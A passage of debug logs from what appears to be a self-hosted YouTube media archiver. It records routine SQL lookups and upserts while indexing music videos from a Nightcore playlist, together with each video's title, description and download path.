"filename" => "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", "id" => "P06woLjHbOU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=P06woLjHbOU", "playlist_index" => 23, "timestamp" => 1471352741, "title" => "Fatal Force & Crusher P - Wildfire (Lyrics)", "upload_date" => "20160816"} 22:23:08.489 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=13.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:08.491 [debug] QUERY OK source="sources" db=0.5ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:08.492 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=13.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-16 13:05:41Z], 1] 22:23:08.661 [debug] QUERY OK source="media_items" db=168.7ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "a230c4bc-96f4-4068-bb55-e5f628ce891d", false, "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", 23, "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, false, 1, [], 1, ~U[2016-08-16 13:05:41Z], ~U[2026-07-24 02:23:08Z], ~U[2026-07-24 02:23:08Z], "Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, 1, ~U[2016-08-16 13:05:41Z]] 22:23:08.662 [debug] QUERY OK source="sources" db=0.3ms idle=173.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:08.662 [debug] QUERY OK source="media_profiles" db=0.1ms idle=172.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:08.663 [debug] QUERY OK source="media_items" db=0.3ms idle=171.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23] 22:23:08.663 [debug] Current batch of media processed. Will check again in 1000ms 22:23:09.664 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 674, "filename" => "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", "id" => "3aup1n4f8x0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3aup1n4f8x0", "playlist_index" => 24, "timestamp" => 1781413225, "title" => "DEATH EFFECT", "upload_date" => "20260614"} 22:23:09.665 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:09.666 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:09.667 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-14 05:00:25Z], 1] 22:23:09.972 [debug] QUERY OK source="media_items" db=304.3ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "bfffe036-1a62-4f0b-a479-a6e0b105ccc9", false, "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", 24, "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, false, 1, [], 1, ~U[2026-06-14 05:00:25Z], ~U[2026-07-24 02:23:09Z], ~U[2026-07-24 02:23:09Z], "Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, 1, ~U[2026-06-14 05:00:25Z]] 22:23:09.972 [debug] QUERY OK source="sources" db=0.2ms idle=481.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:09.973 [debug] QUERY OK source="media_profiles" db=0.1ms idle=307.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:09.973 [debug] QUERY OK source="media_items" db=0.1ms idle=306.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 22:23:09.973 [debug] Current batch of media processed. Will check again in 1000ms 22:23:10.974 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "duration" => 177, "filename" => "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", "id" => "ZkigfGIueJ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZkigfGIueJ0", "playlist_index" => 25, "timestamp" => 1781017310, "title" => "Say It Right (Phonk Version)", "upload_date" => "20260609"} 22:23:10.975 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:10.975 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:10.975 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-09 15:01:50Z], 1] 22:23:11.239 [debug] QUERY OK source="media_items" db=262.7ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "78531691-989c-4feb-9bc3-a071250a69b3", false, "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", 25, "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, false, 1, [], 1, ~U[2026-06-09 15:01:50Z], ~U[2026-07-24 02:23:10Z], ~U[2026-07-24 02:23:10Z], "Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, 1, ~U[2026-06-09 15:01:50Z]] 22:23:11.239 [debug] QUERY OK source="sources" db=0.1ms idle=746.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:11.239 [debug] QUERY OK source="media_profiles" db=0.1ms idle=264.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:11.240 [debug] QUERY OK source="media_items" db=0.1ms idle=264.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25] 22:23:11.240 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "duration" => 203, "filename" => "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", "id" => "aeuA7VSbxVI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aeuA7VSbxVI", "playlist_index" => 26, "timestamp" => 1718050143, "title" => "[Hatsune Miku V4X] Daisy Bell", "upload_date" => "20240610"} 22:23:11.240 [debug] QUERY OK source="sources" db=0.1ms idle=264.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:11.241 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:11.241 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-10 20:09:03Z], 1] 22:23:11.391 [debug] QUERY OK source="media_items" db=149.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "a061be5e-06f8-4755-897d-dc3825b174cf", false, "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", 26, "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, false, 1, [], 1, ~U[2024-06-10 20:09:03Z], ~U[2026-07-24 02:23:11Z], ~U[2026-07-24 02:23:11Z], "IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, 1, ~U[2024-06-10 20:09:03Z]] 22:23:11.391 [debug] QUERY OK source="sources" db=0.2ms idle=151.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:11.392 [debug] QUERY OK source="media_profiles" db=0.1ms idle=151.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:11.392 [debug] QUERY OK source="media_items" db=0.1ms idle=151.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 22:23:11.392 [debug] Current batch of media processed. Will check again in 1000ms 22:23:12.394 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "duration" => 224, "filename" => "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", "id" => "WcZfXHqksq4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WcZfXHqksq4", "playlist_index" => 27, "timestamp" => 1744050675, "title" => "Kiss me again (Eurobeat remix)", "upload_date" => "20250407"} 22:23:12.395 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:12.396 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM 